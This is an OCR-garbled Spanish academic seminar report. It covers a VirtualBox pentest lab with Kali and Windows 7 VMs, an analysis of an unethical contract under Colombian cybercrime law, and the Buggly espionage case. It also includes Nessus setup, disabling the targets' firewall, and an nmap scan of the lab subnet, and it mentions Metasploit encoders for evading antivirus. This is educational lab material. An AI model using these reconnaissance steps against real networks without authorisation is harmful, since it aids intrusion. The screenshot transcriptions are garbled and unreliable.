La maquina virtual informa que el 5O invitado soporta integracidn del ratén. Esto significa que no necesita capturarel puntero @ (5]

ChiWindows\system32\cmd.exe

Ndaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexidn. . =

Direccidn IPvb . . . . . . . . . . : 280@:484:8688:2eb?:96d43:5256:a5d%:hcl8
Uinculo: direccidén IPub local. . . : feB@::c85d:4228:941f tefe3dxil

Diveccion IPvd4. . . . . . . . . . : 192.168.20.46

Miscara de subred . . . . . . . . @ 255.255.255.8

Puerta de enlace predeterminada . : 192.168.28.1

Adaptador de tdnel isatap.{A658CFDA-2CEF-4786—9B5A-536C989076D52:

Estado de los medios. . . : medios desconectados

Sufijo DNS ecspecifico para‘lé éoﬁe;ién: 2
iC:sUserssusuario>ping 192.168.20.48

Haciendo ping a 192.168.28.48 con 32 bytes de datos:
Respuesta desde 192.168.20.48: hytes=32 tiempo{im TT
Respuesta desde 192.168.20.48: bytes=32 tiempo<im TT
Respuesta desde 192.168.20.48: hytes=32 tiempo{im TT
Respuesta desde 192.168.280.48: bytes=32 tiempo<{im TTL=64

Estadisticas de ping para 192.168.28.48:
Paguetes: enviados = 4, recibides = 4, perdidos = 8
(B perdidos).

Tiempos aproximados de ida v vuelta en milisegundos:
inimo = Bms, Maximo = Bms,. Media = Bms

| —

Fuente: Autor

Se verifica comunicacion entre la maquina Windows 7 X64 y Kali
Linux para lo cual se identifica la IP de cada una vy con la funcion ping
sobre un terminal de comandos se alcanza la IP contraria.
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PASO D:

- A continuacion, se evidencia la implementacion del banco de trabajo
en el cual se hayan instaladas 3 maquinas virtuales (Un Windows 7
XB6, un Windows 7 X64, un Kali Linux) sobre Virtual Box 6.1

s Y PN
¥ VirtualBox - Acerca de

[ —

. ESISeq.DB

. ORACLE
et VM

[T win7-SE2020
T

Kali-Linux-2021.2-virtualbox-amd64

=Y <O corriendo

VirtualBox

6.1

Interfaz Grafica de Usuario de VirtualBax
Version 6.1,26 r 145957 (Qt5.6.2)
Copyright ® 2021 Oracle Carporation andjor its affiiates. Al richts reserved

Cerrar

Controlador USg: OHCL, EHCT
Filtros de dispositives: 0 (0 activa)

[] Carpetas compartidas

Fuente: Autor

* Caracteristicas técnicas de hardware para Windows 7 X86

Figura 13. Caracteristicas Windows x86

¥ Oracle VM VirtualBox Administrador ° - o x

Archivo  Maquina  Ayuda

B oo o @ P -

Noeva Configuradidn Descartar  Mostrar

- ESISeg. DB [=] General [=] Previsualizacién
Nombre: win7-5E2020
[ wn7-se2020-X64 Sistema operativo:  Windows 7 (64-bit)
(7] © apagada Sistema
Memoria base: 4096 MB
=17 . Procesadores: 4 A
/oS g Orden de arranque:  Disquate, Optica, Disco dura
Aceleracion: T-&/AMD-V, Paginacion aridada, Paravirtualizaciin Hyper-y
Pantalla
g* Kali-Linux-2021.2-virtualbox-amd64 @
[ Apagada Memoria de video: 12818
Controlador grafico: VBoxSVGA
Servidor de esaitorio remoto: - Inhabiltado
B Win7-SE2020-X64 1 Grabacidn: Inhebiitado
W47 m
7l @) Apagada Almacenamiento

Controlador: SATA
Puerio SATAD:  win7-SE2020-cisk00 . vel (Normal, 50,00 G}

fn Audio

Controlador de anfitrién:  Windows DirectSound

Controlador: Audio Intel HD

&P Red

Adaptador 1:  Intel PRO/1000 MT Desktop (Adsptador puente, «Intel(R) Dual and Wireless-AC 82655)
£ use

Controlador USB: OHCT

Filtros de dispositives: 0 (0 activo)
] Carpetas compartidas
Hinguno

& Descripeién

Ningune

Fuente: Autor
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Figura 14. Caracteristicas Windows x86

¥ Oracle VM VirtualBox Administrador .- o X

Archivo Miquina  Ayuda

' Herramientas -
Nueva Configuracdén Descartar  Mostrar
. ESISeg.DB [=] General [=] Previsualizacion

Nombre: Win7-SE2020-X64
Sistema operativo:  Windows 7 (§4-bit)
os.

[&] sistema
Memoria base: 4096 MB
Orden de arranque:  Optica, Disco dura
Aceleracidn: VT-%/AMD-V, Paginacién anidada, Paravirtualizadén Hyper-¥
Pantalla
B Kali-Linux-2021.2-virtualbox-amd64 =
O @ Apagads Memoria de video: 18 MB

Controlador grafico: VBoxSVGA
Servidor de escritorio remoto: - Inhabiltado

Win7-SE2020-X64 1 Grabadién: Inhabiitzdo

Apagada Almacenamiento

Controlador: SATA
Puerto SATA 0:  Win7-SE2020-X64-cisk00 1.vci (Normal, 50,00 GB)
Puerto SATA 1:  [Uridad dptica] Vacio

o Audio

Controlador de anfitrién:  Windows Directsound

Contralador: Audio Intel HD

©F Red

Adaptader 1: Intel PRO/1000 MT Desktop (Adaptador puente, <Intel(R) Dual Band Wireless-AC 6265»)
(5 uss

Contralador UISE: OFHCI, EHCT

Fitros de dispositivos: 0 (0 activa)
[ Carpetas compartidas
HNinguno

&) Descripcién

Ninguno

Fuente: Autor

Figura 15. Caracteristicas Kali Linux

¥ Oracle VM VirtualBox Administrador e o X

Archivo  Maquina  Ayuda

1B mess W @ .

Nueva Configuradidn Descartar Mostrar

- ESISeg.DB =] ceneral [ previsualizacion
Nombre: Kali-Linux-2021, 2-virtualbox-amds<
Win7-SE2020-X64 Sistema operativo:  Debian (54-bit)
@ Apagada ] sistema
Memoria base: 2048 M8
win7-5E2020 Procesadores: 2 i
@) Apagada Orden de arranque:  Disco duro, Optica
Aceleracién: VT-xfAMD-V, Paginacion anidada, PAE/NY, Paravirtuslizacidn KVM
M pantalla
Memaria de video: 128 M8

Controlador gréfico VMSVGA
Servidor de escritorio remoto: - Inhabiitado

i —— Grabacin: Inhabiitado
@ Apagada Almacenamiento

Cantrolador: IDE
IDE secundario maestro:  [Unidad dptica] Vacio
Controlador: SATA

Puerto SATA D! Kali-Linux-2021. 2-virtualbox-amdé4-disk00 1. vdi {Normal, 80,00 GB)
(o Audio
Controlador de anfitrién:  Windows DirectSound
Controlador: ICH ACS7
@ Red
Adaptador 1: Intel PRO/1000 MT Desktop (Adaptader puente, <Intel(R) Dual Band Wireless-AC 8255+
5 uss

Controlador USB: OHCI, EHCI
Filtros de dispositivos: 0 {0 active)

[C] carpetas compartidas
Hingune

& Descripcion

Kali Rolling (2021.2) x64
2021-05-31

Usernams
password: kal
(US keyboard layout)

* Documentation:
hittps:/jwww . kali org/docs/

= Forum/Support:
htips://forums.kai..org/

* Kali Tools:

htips:/ftools kali.org/

*Bug Tracker:

https://bugs kali.org/

* Release Information:
tips:/jwww. kel org/releases/

Fuente: Autor

Con esto damos por concluido la etapa 1 del seminario donde se detalla el
marco legal colombiano frente a los delitos informaticos y proteccién de
datos personales y se deja listo el banco de trabajo para seguir con la etapa
2.
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7 ANALISIS DE LOS ANEXOS ESCENARIO 2 Y ACUERDO
DESDE EL PUNTO DE VISTA LEGAL Y NO ETICO

A continuacion, se realiza el analisis de los anexos descritos en la etapa 2 del
seminario de especializacion de equipos Red Team y Blue Team de acuerdo
lo que plante plantea establecer un contrato con la empresa White House
Security un candidato que seria un posible alumno que haria parte de los
equipos de seguridad Red Team & Blue Team, donde evidenciara las
debilidades que presenta la empresa y que podrian llevar a hechos ilicitos.

De esta forma se van a enumerar las cladusulas de acuerdo con las leyes
colombianas que estdn considerando que estan incumpliendo con Ia
normativa de las leyes y el cédigo de ética aplicable para los ingenieros

especialista en seguridad informatica.

¢ “Primera. Objeto: en virtud del presente acuerdo de confidencialidad,
la parte receptora, se obliga a no divulgar directa, indirecta, proxima
a remotamente, ni a través de ninguna otra persona o de sus
subalternos o funcionarios, autoridades legales, asesores o cualquier
persona relacionada con ella, la informacién confidencial o sobre
procesos ilegales dentro de Whitehouse Security no podran ser
divulgados.”

e Tercera: La informacion es de origen confidencial: La informacion
vendra de documentos clasificados por la empresa del area de recursos
humanos que es la encargada de seleccionar al personal que ingresa a
la empresa y aporta con la creaciéon de intelecto para formar a los
colaboradores en la venta de productos, comercializacién de productos,
la forma de distribuir la mercancia que debe ser de una forma visual,
verbal o escrita plasmada en los documentos bien sea electrénicos,
correo, discos 6pticos, peliculas, cortometrajes USB u otros similares

que se presenten de forma tangible o intangible, sin

35



importar la fuente o soporte de la informacién, sin que se requiera
informar a la parte contratada se le informa que debe tener la mayor

discrecion debido que es suma confidencialidad.”

e Cuarta: Deber del contratante incisos:
“3. No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la apropiacion

de informacion de terceros.”

“7. Responder por el mal uso que le den sus representantes a la
informacion confidencial.”

"9. La parte receptora se obliga a no transmitir, comunicar, revelar o
de cualquier otra forma divulgar total o parcialmente, publica o
privadamente, la informacién confidencial o ilegal sin el previo

consentimiento por parte de Whitehouse Security.”

Comentarios:

En la primera clausula del contrato: de acuerdo con el presente contrato
estipulado por la empresa y su contratante se informa a la parte el acuerdo
de confidencialidad de la parte receptora se le informa de una forma clara y
concisa de no divulgar directa o indirectamente la informacidon compartida por
ningln medio fisico o digital u otra persona, compafiero, contratista
subalterno o tras personas ajenas a la empresa incluyendo autoridades
legales, asesores, entidad relacionada con la informacion. Sobre los procesos
que se llevan a cabo dentro de la empresa entro de Whitehouse Security no
podran ser divulgados.” Se debe tener presente que en la primera clausula
mocionada en el documento, aparece la palabra “procesos legales” me genera
la inquietud que, en la clausula mencionada, aparece el término “procesos
ilegales”, lo que se puede llegar a concluir que si se realizan procesos pocos
convencionales que estén fuera de la normativa legal para realizar el trabajo

solicitado.
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En la cldusula tercera, La procedencia de la informacion es confidencial: La
informacidn vendra de documentos clasificados por la empresa del area de
recursos humanos que es la encargada de seleccionar al personal que ingresa
a la empresa y contratacion de personal aporta valor con las nuevas
contrataciones y ayuda a formar a los colaboradores en la venta de productos,
comercializaciéon de productos, la forma de distribuir la mercancia que debe
ser de una forma visual, verbal o escrita descrita en documentos correo
electrdénico, discos duros y discos 6pticos, peliculas, cortometrajes USB u
otros similares que se presenten de forma tangible o intangible, sin importar
la fuente o soporte de la informacidn sin que se requiere informar que es de
suma confidencialidad.”

Al parecer es una clausula clara que indica de donde proviene la informacion,
pero esta clausula no hace menciona la forma o los procesos especificos que
se realizan para poder obtener la informacion y desde ese punto se pueda
incurrir en las faltas que las Leyes Colombianas tipifican como delitos

informaticos, se debe dar un poco mas de claridad.

En la cuarta clausula, le expone a la parte receptora de cumplir con el inciso
7, “responder por el mal uso que le den sus representantes a la informacién
confidencial”, desde mi percepcién me genera inquietud, porque a la hora de
firmar un contrato se debe leer detalladamente lo que esta escrito y se debe
asumir que se cumplird con lo plasmado ahi y lo que implica de una forma
legal; si se llegara a presentar un problema de tipo legal la responsabilidad
puede ser compartida no solo del empelado y las consecuencias que se
pueden originar desde una situacion legal como lo que podria ser la deteccidn
y privacion de la libertad que llegara a incurrir en una falta legal por incumplir
lo contratado. Al presentarse problemas de tipo ilegal, la responsabilidad
también recae sobre el empleado y las consecuencias que se pueden originar
de una situacién como esta seria la detencién y privacion de la libertad por el

tiempo que asi lo considere la justicia y de acuerdo con la falta cometida.
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En la cladusula cuarta, obligaciones de la parte que acepta el contrato, inciso
3, ser codmplice u omitir sucesos, eventos que estén atentando contra la
confidencialidad de la informacidén por no denunciar actividades de espionaje
0 cualquier otro proceso que este en contra de lo pactado en el cual sea
involucrado el buen nombre de la empresa debido a que esto puedo ocasionar
dafios reputacionales a la marca y la fuga de informaciéon que se puede
prestar para hacer sobornos o mal uso de ella en hechos delictivos como
secuestros, asesinatos y extorsiones entre otros y el no denunciarlos implica

que se es complice de estos actos ilicitos.

En la clausula cuarta, las obligaciones de la parte contratada, inciso 9, La

Debe asumir la responsabilidad de no compartir informacién por ningun
medio digital sin consentimiento de la empresa Whitehouse Security.” En
esta cldusula se habla de manera explicita que seria una falta grave y seria

motivo para entrar en procesos legales.
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8 ANALISIS DE LOS ANEXOS, CON RELACION A LA
VULNERACION DE LA LEY 1273 ARGUMENTANDO
CUALQUIER PROCESO ILEGAL

A continuacién, se detallan los articulos de la ley 1273, que se ven vulnerados

en los anexos del caso de estudio:

e “Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO: Para
obtener la informacion que desean se aprovechan de la vulnerabilidad

en el acceso a los sistemas de informacidn.

e Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS: Cuando
se ingresa sin orden judicial previa, para interceptar datos informaticos

en su origen, destino, o en el interior de un sistema informatico.

e Articulo 269G. SUPLANTACION DE SITIOS WEB PARA CAPTURAR
DATOS PERSONALES: Cuando sin estar facultados se crean paginas
similares a las de una entidad y se envian correos, spam, ofertas de
empleo y de esa manera las personas suministran informacién de tipo

muy personal.

e Articulo 269F. VIOLACION DE DATOS PERSONALES: El que, sin estar
facultado para ello, con provecho propio o de un tercero, obtenga,
compile, sustraiga, ofrezca, venda, intercambie, envie, compre,
intercepte, divulgue, modifique, emplee coédigos personales, datos
personales contenidos en ficheros, archivos, bases de datos o medios

semejantes”.
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9 ANALISIS DE LA PROPUESTA LABORAL, TENIENDO
PRESENTE EN CUENTA LA REVISION DESDE EL PUNTO DE
VISTA LEGAL Y ETICO

Un profesional o estudiante de ingenieria informatica con especialicen en
seguridad informatica deberia declinar por esta oferta laboral, ya que tiene
gue tiene clausulas muy ambiguas que no aclaran o especifican de manera
clara y concisa los procesos legales cuando se lleguen a presentar generando
desconfianza al momento que suceda algun incidente que estén catalogados
como delitos informaticos que la ley considera infracciones contra los pilares
de la seguridad de la informacién que son confidencialidad, la integridad y la
disponibilidad de los datos de una organizacién y de los sistemas de
informacion, consignados de forma explicita en la Ley 1273 de 2009. Por otra
parte, cabe mencionar que la toma de esta decision también esta influenciada
por los principios éticos del profesional, para el caso de estudio se subraya
que en el codigo de ética y valores que se deben tener para ejercer la
profesién de ingenieria en general y sus pares; se puede detallar las
conductas profesionales que se deben tener a la hora de ejercer esta
profesidén, se podria llegar a suplecién definitiva para ejercer o inhabilitacién
temporal de la tarjeta profesional. Algunos de los deberes importantes y a

tener en cuentan estan:

e “ARTICULO 31. DEBERES GENERALES DE LOS PROFESIONALES
Custodiar y cuidar los bienes, valores, documentacién e informacién
gue, por razén del ejercicio de su profesion, se le hayan encomendado
o a los cuales tenga acceso; impidiendo o evitando su sustraccion,
destruccion, ocultamiento o utilizacién indebidos, de conformidad con

los fines a que hayan sido destinados.

Permitir el acceso inmediato a los representantes del Consejo
Profesional Nacional de Ingenieria respectivo y autoridades de policia,
a los lugares donde deban adelantar sus investigaciones y el examen

de los libros, documentos y diligencias correspondientes, asi como
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prestarles la necesaria colaboracion para el cumplido desempefio de
sus funciones.

Denunciar los delitos, contravenciones y faltas contra este Cddigo de
Etica, de que tuviere conocimiento con ocasién del ejercicio de su
profesion, aportando toda la informacién y pruebas que tuviere en su

poder.

ARTICULO 35. DEBERES DE LOS PROFESIONALES PARA CON LA
DIGNIDAD DE SUS PROFESIONES.

Respetar y hacer respetar todas las disposiciones legales vy
reglamentarias que incidan en actos de estas profesiones, asi como
denunciar todas sus transgresiones y velar por el buen prestigio de

estas profesiones.

ARTICULO 37. DEBERES DE LOS PROFESIONALES PARA CON SUS
COLEGAS Y DEMAS PROFESIONALES.

Abstenerse de emitir publicamente juicios adversos sobre la actuacion
de algun colega, sefialando errores profesionales en que
presuntamente haya incurrido, a no ser que ello sea indispensable por
razones ineludibles de interés general o, que se le haya dado
anteriormente la posibilidad de reconocer y rectificar aquellas

actuaciones y errores, haciendo dicho profesional caso omiso de ello.

Obrar con la mayor prudencia y diligencia cuando se emitan conceptos

sobre las actuaciones de los demas profesionales.

ARTICULO 39. DEBERES DE LOS PROFESIONALES PARA CON SUS
CLIENTES Y EL PUBLICO EN GENERAL".

Mantener el secreto y reserva, respecto de toda circunstancia
relacionada con el cliente y con los trabajos que para él se realizan,
salvo obligacion legal de revelarla o requerimiento del Consejo

Profesional respectivo.
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Brindar la mejor actitud para prestar con la mayor diligencia y

probidad, los asuntos encargados por su cliente.

Los profesionales que dirijan el cumplimiento de contratos entre sus
clientes y terceras personas son ante todo asesores y guardianes de
los intereses de sus clientes y en ningun caso, les es licito actuar en

perjuicio de aquellos terceros.

Por los beneficios que ofrecen en la organizacion de salario y contrato
“vitalicio”, es llamativa esta oferta laboral, pero se debe hacer un analisis
muy minucioso y critico frente a las propuestas de este tipo estudiando a
fondo las cldusulas dado el caso de llegarse a presentar un incidente
informatico como se le dard manejo a la clausulas que se estipulan en un
contrato laboral a un profesional de seguridad informatica, analizando todas
las posibles situaciones que se pudieran presentar en un momento dado
cuales podrian ser las posibles consecuencias pensando en lo anteriormente

mencionado, que afecten lo pactado contractualmente.

En la sociedad en la que vivimos actualmente prima mucho el tema
monetario, pero a veces no se valora el recurso humano y la paz que te puede
traer laborar en una empresa que no te comprometa a tal grado de poder
llegar a quedar privado de la libertad, pero como profesionales con principios
éticos e integros y trabajando de manera correcta colocando por encima los

valores y principios, que aquel que se vale de mafias y

artimafas para lograr sus objetivos y puede que tenga su cuenta con dinero,
pero a que costo, sin tener tranquilidad de no saber en qué momento lo puede

perder todo que obtuvo de forma dudosa.

Lo mas importante es ser una persona integra con valores y contar con
conocimientos que aporten a la sociedad que permitan generar valor y ayuda
al pro de mejorar una sociedad bajo unos principios éticos y legales que
transformen la sociedad desde el trabajo como profesional que generen
impacto positivo conociendo sus deberes como ciudadano y eviten que se

caiga en hechos ilicitos.
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10 ANALISIS DEL CASO “OPERACION ADROMEDA BUGGLY"”
DESDE SU POSICON TENIENDO EN CUENTA LOS ASPESTOS
LEGALES Y ETICOS

“Buggly fue un hackerspace (Lugar en el cual personas ingeniosas,
cooperativas y con ganas de aprender, se reinen a compartir informacién
relevante sobre todo lo que hacen y cuyo objetivo principal es aprender unos
de otros, sobresaliendo entre ellos la colaboracién) siendo el objetivo principal
de este lugar el de construir una comunidad de seguridad informatica y asi lo
hizo parecer. Pero como siempre hay quien coloque el dedo en la llaga,
surgieron dudas sobre los dineros para soportar o financiar este tipo de
proyecto y mas cuando en el lugar se ofrecian todo tipo de comodidades para
ingresar en él y sin complicaciones. Resulto ser que Buggly no era el lugar
ingenuo, puro, sencillo que muchos creian que era. Aparentemente en Buggly
se llevaba a cabo la Operacién Andrémeda, una fachada de la Central de
Inteligencia Técnica del Ejercito Nacional y cuyo objetivo era el de adquirir
conocimiento de informatica sobre el hacking ético (Forma de referirse al acto
de una persona usar sus conocimientos de informatica y seguridad para
realizar pruebas en redes y encontrar vulnerabilidades, para luego reportarlas
y que se tomen medidas, sin ocasionar dafios.) el lugar aparte de ser
frecuentado por personas del comudn también era visitado por militares o

empleados de las Fuerzas

Armadas. Se dice que desde Buggly se realizaban monitores del espectro; se
utilizaban los llamados malware para obtener informacion de personas,
conllevando a la interceptacion de comunicaciones; usaban softwares
especiales para espiar computadores teniendo por lo tanto control absoluto
sobre todo el manejo de la informacidn tanto de entrada como salida y que
este método era el utilizado para espiar a las guerrillas de las FARC y el ELN.
También se dice que desde Buggly se hacia ciber espionaje al proceso de paz.
La fachada de Buggly segun el General Ernesto Maldonado era legal,

fundamentada en la Constitucion Politica de Colombia, directivas,
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reglamentos y el Manual de Manejo de Redes de Informantes. Segun parece

no habia un control adecuado sobre las actividades que se realizaban tanto

por parte del personal militar como del personal civil y trabajaban sin ningun
tipo de supervisidn. Al final los sefiores encargados del manejo de Buggly,
rompen con sus propios codigos de ética, tal vez cegados por la ambicion de
poder y ambicién al dinero y terminan vendiendo la informacién obtenida en
Andromeda a terceras personas, con fines lucrativos sin importar el dafio y
caos que pudieran generar; los rumores siguieron creciendo y finalmente se
destapa la olla, como decimos coloquialmente cuando se afirma que desde
Buggly se estaba haciendo espionaje al proceso de paz. Luego de ser
descubierta dicha actividad ilicita, los implicados terminan aceptando que
efectivamente si hubo malos manejos en los procesos que alli se llevaban a
cabo, lo que conlleva a la investigacidn por parte de los 6rganos establecidos
para ello, de todos los que estaban involucrados, determinando las sanciones,
castigos o penas de acuerdo a Ley Colombiana, por lo que hubo 28
destituciones, exclusiones y retiros del servicio activo, como los procesos de

investigacién para determinar las penas a pagar por estos delitos”.

Con esto podemos comprender las implicaciones legales de los delitos
informaticos realizados, en el caso de estudio corresponde a: al acceso
abusivo a la informacién y a un sistema computacional, por lo cual puede ser

judicializado por penas de carcel entre 48 a 96 meses de presion

sumandole una multa entre 100 a 1000 salarios mensuales minimos vigentes
por interceptaciéon de datos informaticos, serd sancionado con una pena de
entre 36 a 72 meses de presidon; Uso de software malicioso malware podra
ser encarcelado con 48 a 96 meses y una multa entre 100 a 1000 salarios
minimos mensuales legales vigentes y violacion de datos personales, sera
sancionado con una pena de prisién de 48 a 96 meses y multa de 100 a 1000
salarios minimos legales mensuales vigentes; Espionaje, incurrira en prisidon
de 64 a 216 meses.

Con lo que implica a los valores éticos y legales que estan descritos en el

cédigo de ética para el ejercicio y el area de ciberseguridad y ciberdefensa de
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la Ingeniera, se puede suspender la actividad de ejercer por 5 afos o en el

peor de los casos retirarle la tarjeta profesional y dejar de ejercer de

forma definitiva la profesion de especialista en seguridad informatica y no

volver a tener contacto con un sistema de sistema informatico.

11 HERRAMIENTAS Y PROCEDIMIENTOS ESTABLECIDOS PARA

DAR SOLUCION AL ANEXO 4 ESCENARIO 3

Herramientas:

Metasploit

Es una herramienta que se muy completa que se caracteriza por tener
bastantes exploit en su base de datos para poder explotar las
vulnerabilidades conocidas la cual cuenta con mddulos y uno llamado
payloads, que basicamente es el cdédigo que permita explotar las

debilidades de los sistemas.

También cuenta con un méddulo muy potente que permite evadir la
heuristica de los antivirus llamada encoders, la cual cifra el cédigo
malicioso para baypasear los sistemas de seguridad a nivel de Endpoint

y perimetral.

Otra bondad de esta herramienta es su frameworks que permite la
integracidon con otras soluciones de auditoria externar como lo son

Nmap y Nessus, lo cual visualizaremos en el curso de Metasploit.

Una de las cualidades mas importantes es una herramienta
OpenSource y se puede descargar desde su pagina principal y permite
importar malware para los diferentes sistemas operativos que existen

y tiene todas las vulnerabilidades publicas conocidas.

Nmap

Nmap es una herramienta Open Source multiplataforma es una de las
mas utilizadas por los expertos en ciberseguridad para realizar

escaneos de reconocimiento y fase de escaneo de vulnerabilidades en
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la actualidad por la cantidad de informacién que puede extraer de sus

objetivos.

Nmap es una herramienta muy potente la cual tiene muchas opciones
para realizar escaneos profundos en redes informaticas con la ayuda
de scripts que identifican los equipos conectaos a la red, el sistema
operativo, vulnerabilidades y servicios o puertos sensibles.

Nmap es una herramienta que sirve para realizar escaneos y se
puede descargar de forma individual y también viene implicita en la

solucién de seguridad Kali Linux.

Nessus

Nessus es una solucién de seguridad muy conocida por realizar escaneo
de vulnerabilidades sobre la red, la cual permite identificar
vulnerabilidades en un sinfin de sistemas operativos, aplicaciones, y
también permite ver los puertos abiertos en los sistemas escaneados.
Se pueden obtener informes muy detallados de los escaneos realizada
donde indica la criticidad de las vulnerabilidades encontradas y los
exploit que se pueden utilizar para ser explotadas pero adicional también
indica los planes de remediacion que se le pueden aplicar a las
vulnerabilidades encontrada y los parches de seguridad que se le pueden
aplicar para mitigarlas. Se debe tener presente que la funcidn “unsafe
test” (pruebas no seguras) se recomienda desactivarse debido que
puede generar indisponibilidad en los servicios.

Nessus permite tener dos opciones para elegir son dos versiones "Home"
y "Work", una es gratuita y la otra es de paga o cual limita algunas

funciones.

Para descargar la herramienta Nessus a nuestro Kali Linux debemos
ingresar al repositorio principal de Nessus y procedemos a su instalacion

con usuario root como vemos en la imagen.
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Figura 16. Instalacion Nessus

D Kali-Linux-2020.2-vbox-amd64 [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispo!

kali@kali: ~/Desktop

File Actions Edit View Help

kali@kali: ~ ] kali@kali: ~/Desktop =
:~$ cd Desktop/
3 $ chmod a+x Nessus-8.10.1-ubuntul11@_amd64.deb
$ dpkg -i Nessus-8.10.1-ubuntul11@_amdé4.deb
requested operation requires superuser privilege
4 $ sudo dpkg -i Nessus-8.10.1-ubuntulll®_amd6é.deb
[sudo] password for kali:
Selecting previously unselected package nessus.
(Reading database 28716@ files and directories currently installed.)
Preparing to unpack Nessus-8.10.1-ubuntulll@_amd64.deb ...
Unpacking nessus (8.10.1)
Setting up nessus (8.10.1) ...
Unpacking Nessus Scanner Core Components ...

dpkg:

- You can start Nessus Scanner by typing /etc/init.d/nessusd start
- Then go to https://kali:8834/ to configure your scanner

Processing triggers for systemd (245.4-3)
: $1

/| # | cTRL DERECHA

Fuente: Autor

Para iniciar el servicio de Nessus debemos iniciar el servicio debemos ejecutar

el siguiente comando /etc/init.d/nessusd start

Figura 17. Iniciando Nessus

# Nes 2PM O a | & &

kali@kali: ~/Desktop

File Actions Edit View Help

kali@kali: ~ ] kali@kali: ~/Desktop 1/
decode-edid
decode-vaio
decryptdir
delaunay

debconf-escape
debconf-set-selections
debconf-show
debianbts

desktop-file-validate
dev_debug_vboot
dev_make_keypair

$ de

deallocvt
debconf
debconf-apt-progress
debconf-communicate
debconf-copydb
debconf-escape
debconf-set-selections
debconf-show
debianbts
/% cd ..
/% cd /
etc/
home/
1lib/
1ib32/
:/$ cd home/kal

bin/
boot/
.cache/
dev/

deb-systemd-helper
deb-systemd-invoke
debtags

declare
decode-dimms
decode-edid
decode-vaio
decryptdir
delaunay

1ib64/ mnt/
1ibx32/ opt/
lost+found/ proc/
media/ root/
i/Desktop/

delpart

delv

dequote
desktop-file-edit
desktop-file-install
desktop-file-validate
dev_debug_vboot
dev_make_keypair

run/
sbin/
srv/
sys/

tmp/
usr/
var/

- $ sudo /etc/init.d/nessusd start
Starting Nessus : nessus-service is already running as process 10514

$1

Fuente: Autor

L ienape
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Para ingresar al entorno web digitamos Kali:8834 en el navegador para
continuar con el procese de instalacion y configuracién el cual nos solicitara

los datos para avanzar en el proceso.

Figura 18. Interface Nessus

B mEmCs E[] ® Nes.. E] kali.. [] [kali.. ® Des..

Nessus /Initializing - Mozilla Firefox

Download Nessus | Te X Nessus / Initializing X @ aroa-

&« c @ @© & kali

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter

Fuente: Autor

Luego de completar el paso anterior debemos actualizarlo y puede tardar

varios minutos dependiendo de la conexién del internet que se tenga.
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Cuando ya este actualizado, podremos ingresar al entorno web, y podremos
hacer el escaneo a las maquinas victimas, pero primero se hace un escaneo

de prueba y se puede observar que si funciona la herramienta como vemos
en la imagen:

Figura 19. Escaned basico

Iracie Vi Virualliog

My Basic Network Scan

Canfgus
« Back in My Scans

W Trash “J
Filet
@ Folicios Hosl Vuberaiites %  Sean Dotails
ain i

N a1 50 1, - o

&  Scanness i
Sanner, 1 B
Start Today a1 916 AM

;. Gammurity
' Rt — 3

» oribes
High "]
Abestium

. LW

® hh

X Plaper Android App

Fuente: Autor

12 DATOS E INFORMACION DEL ANEXO 4 -ESCENARIO 3

De acuerdo con la guia se procede a configurar el ambiente donde se
realizaran las pruebas de penetracién y se detallan toda la informacion el
anexo 4 y escenario 3 que permitiran el analisis de riesgos y vulnerabilidades
para identificar las fallas en los sistemas de seguridad en la maquina con

sistema operativo Windows 7 version 64X.

e Esrecomendable antes de iniciar con las pruebas validar que el firewall
de Windows este desactivado para garantizar que los escaneos sean

mas efectivos y se pueda obtener toda la informacidn de la fase de
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reconocimiento este proceso se debe hacer para las dos maquinas

virtuales:

Figura 20. Desactivacion del firewall

=
O @ setemoy = (C)) = [ < Todos o5 lementos de Panelde control » Firewsl de Windows ~ [ %3] [ Buscar en el Panel de contro »
@

Tol[Ee o

software malintencionado obtengan acceso a

Ventana principal del Panel de

e

Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al equipo a
ed,

Conectado (&

[l Redes domesticas o de trabajo (privadas) No conectado

[ © Redes publicas Conectado

No conectado (¥

dos Tamafio total: 184 MB !

Red 3

Notificarme cuando Firewall de Windows bloquee un
nuevo programa

Ky
Fuente: Autor

e Se valida con el comando IP/CONFIG las direcciones IP’s que tienen las
maquinas virtuales y es muy importante que estén en el mismo

segmento de red para que puedan verse y responder a PING

e Se procede a realizar un escaneo de reconocimiento de puertos desde
la maquina virtual que tiene el Kali Linux con la herramienta Nmap se
realizara un reconocimiento de la red con un escaneo de puertos desde
la maquina virtual con Kali Linux con IP 192.168.20.48 hacia las IP’s,
y las maquinas con sistemas operativos Windows 7 y Windows 7 x64
tienen las direcciones IP’s asignadas la 192.168.20.46 vy
192.168.20.47 posteriormente, se procede a realizar el analisis con
Nmap con el comando: nmap 192.168.20.0/24 luego se procede a dar
enter para escanear el segmento de red especificado en el comando y
detecte todas las direcciones IP que se encuentren en el segmento de
red pero nos enfocaremos en especial en las dos direcciones IP’s que
tiene los sistemas operativos Windows 7 con direcciones IP’s:
192.168.20.46 y 192.168.20.47 como vemos en las siguientes

imagenes:
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Figura 21. Escaneo de puertos con nmap

i Kali-Linux-2021 2 -virtualbex-amdbd [Carmenda)] - Oracle VW VirdualBex

Archive Maguina Ver Entrada Di itives

' File Actions Edit View Help

File Syst

Ayuda

p.org )} at 2022-03-06 81:07 :

Fuente: Autor
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Figura 22. Resultados del escaneo

Host is up
Not shown: 987 closed ports
PORT STATE SERVICE
; open  msrpc
139/tcp netbios-ssn
Li5/tcp microsoft-ds
554/tcp rtsp
2869/tcp icslap
wsdapi
unknown
unknown
unknown
unknown
49155/tcp unknown
49156/tcp unknown
49158/tcp en unknown

Nmap scan report for 192

Host is up ( 65 la

Not shown: 987

POR

'tcp

netbios-ssn

L45/tcp microsoft-ds

S54/tep risp

2869/tcp icslap
wsdapi
unknown
unknown
unknown
unknown
unknown

49156/tcp unknown

49157 /tcp unknown

Nmap scan report for 192
Host is up ( 36s latency
All 1008 sca ports on 192.168.20.48 are closed

Nmap done: 256 IP addresses (7 hosts up) scanned im

Fuente: Autor
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12.1 ANALISIS DE LA VULNERABILIDAD.

e Nessus

Nessus es una solucién de seguridad muy conocida por realizar escaneo de
vulnerabilidades sobre la red, la cual permite identificar vulnerabilidades en
